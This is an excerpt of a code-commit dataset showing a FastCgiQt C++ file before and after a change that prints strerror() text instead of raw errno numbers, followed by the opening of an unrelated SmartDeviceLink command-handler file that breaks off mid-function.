above\n\tcopyright notice and this permission notice appear in all copies.\n\n\tTHE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n\tWITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n\tMERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n\tANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n\tWHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n\tACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n\tOR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n*\/\n#include \"ManagerPrivate.h\"\n\n#include \"Settings.h\"\n#include \"SocketManager.h\"\n\n#include \"fastcgi.h\"\n\n#include <QtEndian>\n#include <QCoreApplication>\n#include <QDebug>\n#include <QFileSystemWatcher>\n#include <QHostAddress>\n#include <QSocketNotifier>\n#include <QTextStream>\n#include <QThread>\n#include <QTime>\n#include <QTimer>\n\n#include <errno.h>\n#include <sys\/file.h>\n#include <sys\/socket.h>\n#include <sys\/un.h>\n#include <netinet\/ip.h>\n\nnamespace FastCgiQt\n{\n\tManagerPrivate::ManagerPrivate(Responder::Generator responderGenerator, QObject* parent)\n\t\t:\n\t\t\tQObject(parent),\n\t\t\tm_responderGenerator(responderGenerator),\n\t\t\tm_applicationWatcher(new QFileSystemWatcher(this)),\n\t\t\tm_caches(new Caches())\n\t{\n\t\t\/\/ Check we're running as a FastCGI application\n\t\tsockaddr_un sa;\n\t\tsocklen_t len = sizeof(sa);\n\t\t::memset(&sa, 0, len);\n\t\tm_socket = FCGI_LISTENSOCK_FILENO;\n\n\t\t\/\/ The recommended way of telling if we're running as fastcgi or not.\n\t\tint error = ::getpeername(FCGI_LISTENSOCK_FILENO, reinterpret_cast<sockaddr*>(&sa), &len);\n\t\tif(error == -1 && errno != ENOTCONN)\n\t\t{\n\t\t\tif(QCoreApplication::arguments().contains(\"--configure\"))\n\t\t\t{\n\t\t\t\tconfigureHttpd();\n\t\t\t\tconfigureDatabase();\n\t\t\t\texit(0);\n\t\t\t}\n\t\t\tif(QCoreApplication::arguments().contains(\"--configure-httpd\"))\n\t\t\t{\n\t\t\t\tconfigureHttpd();\n\t\t\t\texit(0);\n\t\t\t}\n\t\t\tif(QCoreApplication::arguments().contains(\"--configure-database\"))\n\t\t\t{\n\t\t\t\tconfigureDatabase();\n\t\t\t\texit(0);\n\t\t\t}\n\t\t\tSettings settings;\n\t\t\tif(settings.value(\"FastCGI\/socketType\", \"FCGI-UNIX\").toString() == \"FCGI-TCP\")\n\t\t\t{\n\t\t\t\tm_socket = ::socket(AF_INET, SOCK_STREAM, 0);\n\t\t\t\tin_port_t port = settings.value(\"FastCGI\/portNumber\", 0).value<in_port_t>();\n\t\t\t\tif(port == 0)\n\t\t\t\t{\n\t\t\t\t\tqFatal(\"Configured to listen on TCP, but there isn't a valid Port Number configured. Try --configure-fastcgi\");\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tsockaddr_in sa;\n\t\t\t\t::memset(&sa, 0, sizeof(sa));\n\t\t\t\tsa.sin_family = AF_INET;\n\t\t\t\tsa.sin_port = qToBigEndian(port);\n\t\t\t\tif(::bind(m_socket, reinterpret_cast<sockaddr*>(&sa), sizeof(sa)) == -1)\n\t\t\t\t{\n\t\t\t\t\tqFatal(\"Failed to bind() to TCP port %d, with error %d\", port, errno);\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tif(::listen(m_socket, 1) == -1)\n\t\t\t\t{\n\t\t\t\t\tqFatal(\"Failed to listen() on port %d, with error %d\", port, errno);\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tQTextStream cout(stdout);\n\t\t\t\tcout << \"Following configuration in '\" << settings.fileName() << \"' and listening on TCP port \" << port << endl;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t\/\/ Not a FastCGI application\n\t\t\t\tQTextStream cerr(stderr);\n\t\t\t\tcerr << \"This application must be ran as a FastCGI application (eg from Apache via mod_fastcgi).\" << endl;\n\t\t\t\tcerr << \"Perhaps you wanted --configure?\" << endl;\n\t\t\t\texit(1);\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\n\t\tm_socketNotifier = new QSocketNotifier(m_socket, QSocketNotifier::Read, this),\n\n\t\tconnect(\n\t\t\tm_socketNotifier,\n\t\t\tSIGNAL(activated(int)),\n\t\t\tthis,\n\t\t\tSLOT(listen())\n\t\t);\n\t\tconnect(\n\t\t\tm_applicationWatcher,\n\t\t\tSIGNAL(fileChanged(QString)),\n\t\t\tthis,\n\t\t\tSLOT(shutdown())\n\t\t);\n\t\tm_applicationWatcher->addPath(QCoreApplication::applicationFilePath());\n\n\t\t\/\/ Spawn some threads\n\t\tfor(int i = 0; i < qMax(QThread::idealThreadCount(), 1); ++i)\n\t\t{\n\t\t\tQThread* thread = new QThread(this);\n\t\t\tthread->start();\n\t\t\tm_threads.append(thread);\n\t\t\tm_threadLoads[thread] = 0;\n\t\t}\n\n\t\t\/\/ Wait for the event loop to start up before running\n\t\tQTimer::singleShot(0, this, SLOT(listen()));\n\t}\n\n\tManagerPrivate::~ManagerPrivate()\n\t{\n\t\tdelete m_caches;\n\t}\n\n\tQList<int> ManagerPrivate::threadLoads() const\n\t{\n\t\tQList<int> data;\n\t\tQ_FOREACH(const QAtomicInt& load, m_threadLoads)\n\t\t{\n\t\t\tdata.append(load);\n\t\t}\n\t\treturn data;\n\t}\n\n\tvoid ManagerPrivate::shutdown()\n\t{\n\t\tqDebug() << \"Starting shutdown process\";\n\t\t\/\/ stop listening on the main socket\n\t\t::close(m_socketNotifier->socket());\n\t\t\/\/ stop watching it\n\t\tm_socketNotifier->setEnabled(false);\n\t\t\/\/ If there's no load, exit\n\t\texitIfFinished();\n\t}\n\n\tvoid ManagerPrivate::exitIfFinished()\n\t{\n\t\tif(m_socketNotifier->isEnabled())\n\t\t{\n\t\t\treturn;\n\t\t}\n\t\tqDebug() << \"Waiting for threads - thread loads:\" << threadLoads();\n\t\tQ_FOREACH(QThread* thread, m_threads)\n\t\t{\n\t\t\tif(m_threadLoads.value(thread) != 0)\n\t\t\t{\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t\tqDebug() << \"Shutting down threads\";\n\t\tQ_FOREACH(QThread* thread, m_threads)\n\t\t{\n\t\t\tthread->quit();\n\t\t\tbool done = thread->wait(10000);\n\t\t\tif(!done)\n\t\t\t{\n\t\t\t\tqDebug() << \"One thread took longer than 10 seconds to shut down, terminating\";\n\t\t\t\tthread->terminate();\n\t\t\t}\n\t\t}\n\t\tqDebug() << \"Shutting down caches\";\n\t\tdelete m_caches;\n\t\tm_caches = NULL;\n\t\tqDebug() << \"Shutdown complete. No thread load.\";\n\t\tQCoreApplication::exit();\n\t}\n\n\tbool ManagerPrivate::hasLessLoadThan(QThread* t1, QThread* t2)\n\t{\n\t\tQ_ASSERT(t1->parent() == t2->parent());\n\t\tManagerPrivate* p = qobject_cast<ManagerPrivate*>(t1->parent());\n\t\tQ_ASSERT(p);\n\t\treturn p->m_threadLoads.value(t1) < p->m_threadLoads.value(t2);\n\t}\n\n\tvoid ManagerPrivate::listen()\n\t{\n\t\t\/\/ Initialise socket address structure\n\t\tsockaddr_un sa;\n\t\tsocklen_t len = sizeof(sa);\n\t\t::memset(&sa, 0, len);\n\n\t\t\/\/ Listen on the socket\n\t\tlockSocket(m_socket);\n\t\tint newSocket = ::accept(m_socket, reinterpret_cast<sockaddr*>(&sa), &len);\n\t\treleaseSocket(m_socket);\n\n\t\t\/* We're connected, setup a SocketManager.\n\t\t * This will delete itself when appropriate (via deleteLater())\n\t\t *\/\n\t\t\/\/ Pick a thread to put it in\n\t\tqSort(m_threads.begin(), m_threads.end(), hasLessLoadThan);\n\t\tQThread* thread = m_threads.first();\n\t\tm_threadLoads[thread].ref();\n\t\tSocketManager* socket = new SocketManager(m_responderGenerator, newSocket, NULL);\n\t\tconnect(\n\t\t\tsocket,\n\t\t\tSIGNAL(finished(QThread*)),\n\t\t\tthis,\n\t\t\tSLOT(reduceLoadCount(QThread*))\n\t\t);\n\t\tsocket->moveToThread(thread);\n\t}\n\n\tvoid ManagerPrivate::reduceLoadCount(QThread* thread)\n\t{\n\t\tm_threadLoads[thread].deref();\n\t\texitIfFinished();\n\t}\n\n\tvoid ManagerPrivate::configureHttpd()\n\t{\n\t\tQTextStream cin(stdin);\n\t\tQTextStream cout(stdout);\n\n\t\tSettings settings;\n\t\tsettings.beginGroup(\"FastCGI\");\n\n\t\tQString interface;\n\n\t\tcout << \"*****************************************\" << endl;\n\t\tcout << \"***** FastCgiQt HTTPD Configuration *****\" << endl;\n\t\tcout << \"*****************************************\" << endl;\n\t\tcout << \"FastCgiQt supports two interfaces for communications with the HTTPD:\" << endl;\n\t\tcout << \"- FCGI-UNIX: Good for Apache with mod_fastcgi\/mod_fcgid.\" << endl;\n\t\tcout << \" FastCgiQt tries to use the unix socket bound to file descriptor 0.\" << endl;\n\t\tcout << \" This is what the FastCGI specification says, but doesn't work too\" << endl;\n\t\tcout << \" well with anything except Apache.\" << endl;\n\t\tcout << \"- FCGI-TCP: Good for lighttpd, cherokee, and others.\" << endl;\n\t\tcout << \" FastCgiQt listens on a user-configured TCP port.\" << endl;\n\t\tcout << \" This works with pretty much anything that isn't Apache.\" << endl;\n\t\tcout << \"Interface [FCGI-UNIX]: \" << flush;\n\t\tinterface = cin.readLine();\n\t\tif(interface.toUpper() == \"FCGI-UNIX\" || interface.isEmpty())\n\t\t{\n\t\t\tsettings.setValue(\"socketType\", \"FCGI-UNIX\");\n\t\t}\n\t\telse if(interface.toUpper() == \"FCGI-TCP\")\n\t\t{\n\t\t\tsettings.setValue(\"socketType\", \"FCGI-TCP\");\n\t\t\tQString portString;\n\t\t\tcout << \"Port number: \" << flush;\n\t\t\tportString = cin.readLine();\n\t\t\tbool ok;\n\t\t\tquint32 portNumber = portString.toUInt(&ok);\n\t\t\tif(!(ok && portNumber))\n\t\t\t{\n\t\t\t\tqFatal(\"Not a valid port number.\");\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tsettings.setValue(\"portNumber\", portNumber);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tqFatal(\"Not a valid communication method: '%s'\", qPrintable(interface));\n\t\t\treturn;\n\t\t}\n\t\tsettings.sync();\n\t}\n\n\tvoid ManagerPrivate::configureDatabase()\n\t{\n\t\tQTextStream cin(stdin);\n\t\tQTextStream cout(stdout);\n\t\tQString driver;\n\t\tQString host;\n\t\tQString name;\n\t\tQString user;\n\t\tQString password;\n\t\tcout << \"********************************************\" << endl;\n\t\tcout << \"***** FastCgiQt Database Configuration *****\" << endl;\n\t\tcout << \"********************************************\" << endl;\n\n\t\tcout << \"Driver [QMYSQL]: \" << flush;\n\t\tdriver = cin.readLine();\n\t\tif(driver.isEmpty())\n\t\t{\n\t\t\tdriver = \"QMYSQL\";\n\t\t}\n\n\t\tcout << \"Host [localhost]: \" << flush;\n\t\thost = cin.readLine();\n\t\tif(host.isEmpty())\n\t\t{\n\t\t\thost = \"localhost\";\n\t\t}\n\n\t\tcout << \"Database: \" << flush;\n\t\tname = cin.readLine();\n\n\t\tcout << \"User: \" << flush;\n\t\tuser = cin.readLine();\n\n\t\tcout << \"Password: \" << flush;\n\t\tpassword = cin.readLine();\n\n\t\tSettings settings;\n\t\tsettings.beginGroup(\"database\");\n\t\tsettings.setValue(\"driver\", driver);\n\t\tsettings.setValue(\"host\", host);\n\t\tsettings.setValue(\"name\", name);\n\t\tsettings.setValue(\"user\", user);\n\t\tsettings.setValue(\"password\", password);\n\t\tsettings.endGroup();\n\t\tsettings.sync();\n\n\t\tcout << \"Settings saved in \" << settings.fileName() << endl;\n\t}\n\n\tvoid ManagerPrivate::lockSocket(int socket)\n\t{\n\t\t::flock(socket, LOCK_EX);\n\t}\n\n\tvoid ManagerPrivate::releaseSocket(int socket)\n\t{\n\t\t::flock(socket, LOCK_UN);\n\t}\n}\n<commit_msg>print out string errror messages isntead of raw numbers<commit_after>\/* LICENSE NOTICE\n\tCopyright (c) 2009, Frederick Emmott <mail@fredemmott.co.uk>\n\n\tPermission to use, copy, modify, and\/or distribute this software for any\n\tpurpose with or without fee is hereby granted, provided that the above\n\tcopyright notice and this permission notice appear in all copies.\n\n\tTHE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n\tWITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n\tMERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n\tANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n\tWHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n\tACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n\tOR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n*\/\n#include \"ManagerPrivate.h\"\n\n#include \"Settings.h\"\n#include \"SocketManager.h\"\n\n#include \"fastcgi.h\"\n\n#include <QtEndian>\n#include <QCoreApplication>\n#include <QDebug>\n#include <QFileSystemWatcher>\n#include <QHostAddress>\n#include <QSocketNotifier>\n#include <QTextStream>\n#include <QThread>\n#include <QTime>\n#include <QTimer>\n\n#include <errno.h>\n#include <sys\/file.h>\n#include <sys\/socket.h>\n#include <sys\/un.h>\n#include <netinet\/ip.h>\n\nnamespace FastCgiQt\n{\n\tManagerPrivate::ManagerPrivate(Responder::Generator responderGenerator, QObject* parent)\n\t\t:\n\t\t\tQObject(parent),\n\t\t\tm_responderGenerator(responderGenerator),\n\t\t\tm_applicationWatcher(new QFileSystemWatcher(this)),\n\t\t\tm_caches(new Caches())\n\t{\n\t\t\/\/ Check we're running as a FastCGI application\n\t\tsockaddr_un sa;\n\t\tsocklen_t len = sizeof(sa);\n\t\t::memset(&sa, 0, len);\n\t\tm_socket = FCGI_LISTENSOCK_FILENO;\n\n\t\t\/\/ The recommended way of telling if we're running as fastcgi or not.\n\t\tint error = ::getpeername(FCGI_LISTENSOCK_FILENO, reinterpret_cast<sockaddr*>(&sa), &len);\n\t\tif(error == -1 && errno != ENOTCONN)\n\t\t{\n\t\t\tif(QCoreApplication::arguments().contains(\"--configure\"))\n\t\t\t{\n\t\t\t\tconfigureHttpd();\n\t\t\t\tconfigureDatabase();\n\t\t\t\texit(0);\n\t\t\t}\n\t\t\tif(QCoreApplication::arguments().contains(\"--configure-httpd\"))\n\t\t\t{\n\t\t\t\tconfigureHttpd();\n\t\t\t\texit(0);\n\t\t\t}\n\t\t\tif(QCoreApplication::arguments().contains(\"--configure-database\"))\n\t\t\t{\n\t\t\t\tconfigureDatabase();\n\t\t\t\texit(0);\n\t\t\t}\n\t\t\tSettings settings;\n\t\t\tif(settings.value(\"FastCGI\/socketType\", \"FCGI-UNIX\").toString() == \"FCGI-TCP\")\n\t\t\t{\n\t\t\t\tm_socket = ::socket(AF_INET, SOCK_STREAM, 0);\n\t\t\t\tin_port_t port = settings.value(\"FastCGI\/portNumber\", 0).value<in_port_t>();\n\t\t\t\tif(port == 0)\n\t\t\t\t{\n\t\t\t\t\tqFatal(\"Configured to listen on TCP, but there isn't a valid Port Number configured. Try --configure-fastcgi\");\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tsockaddr_in sa;\n\t\t\t\t::memset(&sa, 0, sizeof(sa));\n\t\t\t\tsa.sin_family = AF_INET;\n\t\t\t\tsa.sin_port = qToBigEndian(port);\n\t\t\t\tif(::bind(m_socket, reinterpret_cast<sockaddr*>(&sa), sizeof(sa)) == -1)\n\t\t\t\t{\n\t\t\t\t\tqFatal(\"Failed to bind() to TCP port %d, with error %s\", port, ::strerror(errno));\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tif(::listen(m_socket, 1) == -1)\n\t\t\t\t{\n\t\t\t\t\tqFatal(\"Failed to listen() on port %d, with error %s\", port, ::strerror(errno));\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tQTextStream cout(stdout);\n\t\t\t\tcout << \"Following configuration in '\" << settings.fileName() << \"' and listening on TCP port \" << port << endl;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t\/\/ Not a FastCGI application\n\t\t\t\tQTextStream cerr(stderr);\n\t\t\t\tcerr << \"This application must be ran as a FastCGI application (eg from Apache via mod_fastcgi).\" << endl;\n\t\t\t\tcerr << \"Perhaps you wanted --configure?\" << endl;\n\t\t\t\texit(1);\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\n\t\tm_socketNotifier = new QSocketNotifier(m_socket, QSocketNotifier::Read, this),\n\n\t\tconnect(\n\t\t\tm_socketNotifier,\n\t\t\tSIGNAL(activated(int)),\n\t\t\tthis,\n\t\t\tSLOT(listen())\n\t\t);\n\t\tconnect(\n\t\t\tm_applicationWatcher,\n\t\t\tSIGNAL(fileChanged(QString)),\n\t\t\tthis,\n\t\t\tSLOT(shutdown())\n\t\t);\n\t\tm_applicationWatcher->addPath(QCoreApplication::applicationFilePath());\n\n\t\t\/\/ Spawn some threads\n\t\tfor(int i = 0; i < qMax(QThread::idealThreadCount(), 1); ++i)\n\t\t{\n\t\t\tQThread* thread = new QThread(this);\n\t\t\tthread->start();\n\t\t\tm_threads.append(thread);\n\t\t\tm_threadLoads[thread] = 0;\n\t\t}\n\n\t\t\/\/ Wait for the event loop to start up before running\n\t\tQTimer::singleShot(0, this, SLOT(listen()));\n\t}\n\n\tManagerPrivate::~ManagerPrivate()\n\t{\n\t\tdelete m_caches;\n\t}\n\n\tQList<int> ManagerPrivate::threadLoads() const\n\t{\n\t\tQList<int> data;\n\t\tQ_FOREACH(const QAtomicInt& load, m_threadLoads)\n\t\t{\n\t\t\tdata.append(load);\n\t\t}\n\t\treturn data;\n\t}\n\n\tvoid ManagerPrivate::shutdown()\n\t{\n\t\tqDebug() << \"Starting shutdown process\";\n\t\t\/\/ stop listening on the main socket\n\t\t::close(m_socketNotifier->socket());\n\t\t\/\/ stop watching it\n\t\tm_socketNotifier->setEnabled(false);\n\t\t\/\/ If there's no load, exit\n\t\texitIfFinished();\n\t}\n\n\tvoid ManagerPrivate::exitIfFinished()\n\t{\n\t\tif(m_socketNotifier->isEnabled())\n\t\t{\n\t\t\treturn;\n\t\t}\n\t\tqDebug() << \"Waiting for threads - thread loads:\" << threadLoads();\n\t\tQ_FOREACH(QThread* thread, m_threads)\n\t\t{\n\t\t\tif(m_threadLoads.value(thread) != 0)\n\t\t\t{\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t\tqDebug() << \"Shutting down threads\";\n\t\tQ_FOREACH(QThread* thread, m_threads)\n\t\t{\n\t\t\tthread->quit();\n\t\t\tbool done = thread->wait(10000);\n\t\t\tif(!done)\n\t\t\t{\n\t\t\t\tqDebug() << \"One thread took longer than 10 seconds to shut down, terminating\";\n\t\t\t\tthread->terminate();\n\t\t\t}\n\t\t}\n\t\tqDebug() << \"Shutting down caches\";\n\t\tdelete m_caches;\n\t\tm_caches = NULL;\n\t\tqDebug() << \"Shutdown complete. No thread load.\";\n\t\tQCoreApplication::exit();\n\t}\n\n\tbool ManagerPrivate::hasLessLoadThan(QThread* t1, QThread* t2)\n\t{\n\t\tQ_ASSERT(t1->parent() == t2->parent());\n\t\tManagerPrivate* p = qobject_cast<ManagerPrivate*>(t1->parent());\n\t\tQ_ASSERT(p);\n\t\treturn p->m_threadLoads.value(t1) < p->m_threadLoads.value(t2);\n\t}\n\n\tvoid ManagerPrivate::listen()\n\t{\n\t\t\/\/ Initialise socket address structure\n\t\tsockaddr_un sa;\n\t\tsocklen_t len = sizeof(sa);\n\t\t::memset(&sa, 0, len);\n\n\t\t\/\/ Listen on the socket\n\t\tlockSocket(m_socket);\n\t\tint newSocket = ::accept(m_socket, reinterpret_cast<sockaddr*>(&sa), &len);\n\t\treleaseSocket(m_socket);\n\n\t\t\/* We're connected, setup a SocketManager.\n\t\t * This will delete itself when appropriate (via deleteLater())\n\t\t *\/\n\t\t\/\/ Pick a thread to put it in\n\t\tqSort(m_threads.begin(), m_threads.end(), hasLessLoadThan);\n\t\tQThread* thread = m_threads.first();\n\t\tm_threadLoads[thread].ref();\n\t\tSocketManager* socket = new SocketManager(m_responderGenerator, newSocket, NULL);\n\t\tconnect(\n\t\t\tsocket,\n\t\t\tSIGNAL(finished(QThread*)),\n\t\t\tthis,\n\t\t\tSLOT(reduceLoadCount(QThread*))\n\t\t);\n\t\tsocket->moveToThread(thread);\n\t}\n\n\tvoid ManagerPrivate::reduceLoadCount(QThread* thread)\n\t{\n\t\tm_threadLoads[thread].deref();\n\t\texitIfFinished();\n\t}\n\n\tvoid ManagerPrivate::configureHttpd()\n\t{\n\t\tQTextStream cin(stdin);\n\t\tQTextStream cout(stdout);\n\n\t\tSettings settings;\n\t\tsettings.beginGroup(\"FastCGI\");\n\n\t\tQString interface;\n\n\t\tcout << \"*****************************************\" << endl;\n\t\tcout << \"***** FastCgiQt HTTPD Configuration *****\" << endl;\n\t\tcout << \"*****************************************\" << endl;\n\t\tcout << \"FastCgiQt supports two interfaces for communications with the HTTPD:\" << endl;\n\t\tcout << \"- FCGI-UNIX: Good for Apache with mod_fastcgi\/mod_fcgid.\" << endl;\n\t\tcout << \" FastCgiQt tries to use the unix socket bound to file descriptor 0.\" << endl;\n\t\tcout << \" This is what the FastCGI specification says, but doesn't work too\" << endl;\n\t\tcout << \" well with anything except Apache.\" << endl;\n\t\tcout << \"- FCGI-TCP: Good for lighttpd, cherokee, and others.\" << endl;\n\t\tcout << \" FastCgiQt listens on a user-configured TCP port.\" << endl;\n\t\tcout << \" This works with pretty much anything that isn't Apache.\" << endl;\n\t\tcout << \"Interface [FCGI-UNIX]: \" << flush;\n\t\tinterface = cin.readLine();\n\t\tif(interface.toUpper() == \"FCGI-UNIX\" || interface.isEmpty())\n\t\t{\n\t\t\tsettings.setValue(\"socketType\", \"FCGI-UNIX\");\n\t\t}\n\t\telse if(interface.toUpper() == \"FCGI-TCP\")\n\t\t{\n\t\t\tsettings.setValue(\"socketType\", \"FCGI-TCP\");\n\t\t\tQString portString;\n\t\t\tcout << \"Port number: \" << flush;\n\t\t\tportString = cin.readLine();\n\t\t\tbool ok;\n\t\t\tquint32 portNumber = portString.toUInt(&ok);\n\t\t\tif(!(ok && portNumber))\n\t\t\t{\n\t\t\t\tqFatal(\"Not a valid port number.\");\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tsettings.setValue(\"portNumber\", portNumber);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tqFatal(\"Not a valid communication method: '%s'\", qPrintable(interface));\n\t\t\treturn;\n\t\t}\n\t\tsettings.sync();\n\t}\n\n\tvoid ManagerPrivate::configureDatabase()\n\t{\n\t\tQTextStream cin(stdin);\n\t\tQTextStream cout(stdout);\n\t\tQString driver;\n\t\tQString host;\n\t\tQString name;\n\t\tQString user;\n\t\tQString password;\n\t\tcout << \"********************************************\" << endl;\n\t\tcout << \"***** FastCgiQt Database Configuration *****\" << endl;\n\t\tcout << \"********************************************\" << endl;\n\n\t\tcout << \"Driver [QMYSQL]: \" << flush;\n\t\tdriver = cin.readLine();\n\t\tif(driver.isEmpty())\n\t\t{\n\t\t\tdriver = \"QMYSQL\";\n\t\t}\n\n\t\tcout << \"Host [localhost]: \" << flush;\n\t\thost = cin.readLine();\n\t\tif(host.isEmpty())\n\t\t{\n\t\t\thost = \"localhost\";\n\t\t}\n\n\t\tcout << \"Database: \" << flush;\n\t\tname = cin.readLine();\n\n\t\tcout << \"User: \" << flush;\n\t\tuser = cin.readLine();\n\n\t\tcout << \"Password: \" << flush;\n\t\tpassword = cin.readLine();\n\n\t\tSettings settings;\n\t\tsettings.beginGroup(\"database\");\n\t\tsettings.setValue(\"driver\", driver);\n\t\tsettings.setValue(\"host\", host);\n\t\tsettings.setValue(\"name\", name);\n\t\tsettings.setValue(\"user\", user);\n\t\tsettings.setValue(\"password\", password);\n\t\tsettings.endGroup();\n\t\tsettings.sync();\n\n\t\tcout << \"Settings saved in \" << settings.fileName() << endl;\n\t}\n\n\tvoid ManagerPrivate::lockSocket(int socket)\n\t{\n\t\t::flock(socket, LOCK_EX);\n\t}\n\n\tvoid ManagerPrivate::releaseSocket(int socket)\n\t{\n\t\t::flock(socket, LOCK_UN);\n\t}\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n\n Copyright (c) 2013, Ford Motor Company\n All rights reserved.\n\n Redistribution and use in source and binary forms, with or without\n modification, are permitted provided that the following conditions are met:\n\n Redistributions of source code must retain the above copyright notice, this\n list of conditions and the following disclaimer.\n\n Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following\n disclaimer in the documentation and\/or other materials provided with the\n distribution.\n\n Neither the name of the Ford Motor Company nor the names of its contributors\n may be used to endorse or promote products derived from this software\n without specific prior written permission.\n\n THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"application_manager\/commands\/mobile\/delete_command_request.h\"\n#include \"application_manager\/application_manager_impl.h\"\n#include \"application_manager\/application_impl.h\"\n#include \"interfaces\/MOBILE_API.h\"\n#include \"interfaces\/HMI_API.h\"\n#include \"utils\/helpers.h\"\n\nnamespace application_manager {\n\nnamespace commands {\n\nDeleteCommandRequest::DeleteCommandRequest(const MessageSharedPtr& message)\n : CommandRequestImpl(message),\n is_ui_send_(false),\n is_vr_send_(false),\n is_ui_received_(false),\n is_vr_received_(false),\n ui_result_(hmi_apis::Common_Result::INVALID_ENUM),\n vr_result_(hmi_apis::Common_Result::INVALID_ENUM) {\n}\n\nDeleteCommandRequest::~DeleteCommandRequest() {\n}\n\nvoid DeleteCommandRequest::Run() {\n LOG4CXX_AUTO_TRACE(logger_);\n\n ApplicationSharedPtr application = ApplicationManagerImpl::instance()->\n application(connection_key());\n\n if (!application) {\n SendResponse(false, mobile_apis::Result::APPLICATION_NOT_REGISTERED);\n LOG4CXX_ERROR(logger_, \"Application is not registered\");\n return;\n }\n\n const int32_t cmd_id =\n (*message_)[strings::msg_params][strings::cmd_id].asInt();\n\n smart_objects::SmartObject* command = application->FindCommand(cmd_id);\n\n if (!command) {\n SendResponse(false, mobile_apis::Result::INVALID_ID);\n LOG4CXX_ERROR(logger_, \"Command with id \" << cmd_id << \" is not found.\");\n return;\n }\n\n smart_objects::SmartObject msg_params = smart_objects::SmartObject(\n smart_objects::SmartType_Map);\n\n msg_params[strings::cmd_id] =\n (*message_)[strings::msg_params][strings::cmd_id];\n msg_params[strings::app_id] = application->app_id();\n\n \/\/ we should specify amount of required responses in the 1st request\n uint32_t chaining_counter = 0;\n if ((*command).keyExists(strings::menu_params)) {\n ++chaining_counter;\n }\n\n if ((*command).keyExists(strings::vr_commands)) {\n ++chaining_counter;\n }\n\n if ((*command).keyExists(strings::menu_params)) {\n is_ui_send_ = true;\n\n SendHMIRequest(hmi_apis::FunctionID::UI_DeleteCommand, &msg_params, true);\n }\n \/\/ check vr params\n if ((*command).keyExists(strings::vr_commands)) {\n is_vr_send_ = true;\n\n \/\/ VR params\n msg_params[strings::grammar_id] = application->get_grammar_id();\n msg_params[strings::type] = hmi_apis::Common_VRCommandType::Command;\n SendHMIRequest(hmi_apis::FunctionID::VR_DeleteCommand, &msg_params, true);\n }\n}\n\nvoid DeleteCommandRequest::on_event(const event_engine::Event& event) {\n LOG4CXX_AUTO_TRACE(logger_);\n using namespace helpers;\n\n const smart_objects::SmartObject& message = event.smart_object();\n\n switch (event.id()) {\n case hmi_apis::FunctionID::UI_DeleteCommand: {\n LOG4CXX_INFO(logger_, \"Received UI_DeleteCommand event\");\n is_ui_received_ = true;\n ui_result_ = static_cast<hmi_apis::Common_Result::eType>(\n message[strings::params][hmi_response::code].asInt());\n\n break;\n }\n case hmi_apis::FunctionID::VR_DeleteCommand: {\n LOG4CXX_INFO(logger_, \"Received VR_DeleteCommand event\");\n is_vr_received_ = true;\n vr_result_ = static_cast<hmi_apis::Common_Result::eType>(\n message[strings::params][hmi_response::code].asInt());\n\n break;\n }\n default: {\n LOG4CXX_ERROR(logger_,\"Received unknown event\" << event.id());\n return;\n }\n }\n\n if (IsPendingResponseExist()) {\n LOG4CXX_DEBUG(logger_, \"Still awaiting for other responses.\");\n return;\n }\n\n ApplicationSharedPtr application =\n ApplicationManagerImpl::instance()->application(connection_key());\n\n if (!application) {\n 